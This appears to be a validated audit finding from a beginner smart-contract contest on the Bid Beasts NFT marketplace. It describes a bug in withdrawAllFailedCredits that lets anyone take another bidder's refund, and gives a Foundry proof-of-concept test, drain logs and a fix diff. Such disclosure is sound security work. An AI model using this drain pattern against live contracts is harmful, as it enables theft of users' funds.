Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missed transfer destination

febrian

Missed transfer destination BidBeastsNFTMarketPlace::withdrawAllFailedCredits may result in loss of funds

Description

This function is intended to manage failed payouts, enabling the recipient—or even third parties—to invoke it later on to withdraw bid funds back to the rightful owner. That owner would be someone who had previously submitted a bid but got overridden by a higher one from another bidder.

That said, there's a coding mistake where msg.sender is used instead of what should be _reciever. This opens the door for funds to be claimed by unauthorized parties, not just the legitimate recipient. And since the function is marked as external, literally anyone can call it.

function withdrawAllFailedCredits(address _receiver) external {
...
@> failedTransferCredits[msg.sender] = 0;
​
@> (bool success, ) = payable(msg.sender).call{value: amount}("");
}

Risk

Likelihood: High

  • Reason 1:
    It's incredibly straightforward for anyone to invoke the withdrawAllFailedCredits function, given its external visibility.

  • Reason 2:
    An attacker simply has to check the failedTransferCredits state or the second-most-recent BidPlaced event.

Impact: High

  • Impact 1:
    All funds belonging to the rightful recipients could be drained away by the attacker.

  • Impact 2:
    The protocol may face significant hurdles in recovering or refunding these lost assets.

Proof of Concept

This Foundry test demonstrates a critical security vulnerability in the function where any attacker can steal funds intended for legitimate bidders.

function test_withdrawAllFailedCredits() public {
_mintNFT();
_listNFT();
​
NonPayable nonPayable = new NonPayable(market);
vm.deal(address(nonPayable), MIN_PRICE + 1);
​
nonPayable.placeBid(TOKEN_ID, MIN_PRICE + 1);
console.log("Initial contract balance:", address(nonPayable).balance);
​
uint256 secondBidAmount = MIN_PRICE * 120 / 100; // 20% increase
vm.prank(BIDDER_1);
market.placeBid{value: secondBidAmount}(TOKEN_ID);
console.log("Ending contract balance:", address(nonPayable).balance);
​
address attacker = makeAddr("attacker");
console.log("Initial attacker balance:", attacker.balance);
​
vm.prank(attacker);
market.withdrawAllFailedCredits(address(nonPayable));
console.log("Ending attacker balance:", attacker.balance);
}

Output:

Logs:
Initial contract balance: 0
Ending contract balance: 0
Initial attacker balance: 0
Ending attacker balance: 1000000000000000001

Recommended Mitigation

Replace msg.sender with _receiver in two places in the function.

function withdrawAllFailedCredits(address _receiver) external {
...
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;
​
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ (bool success, ) = payable(_receiver).call{value: amount}("");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!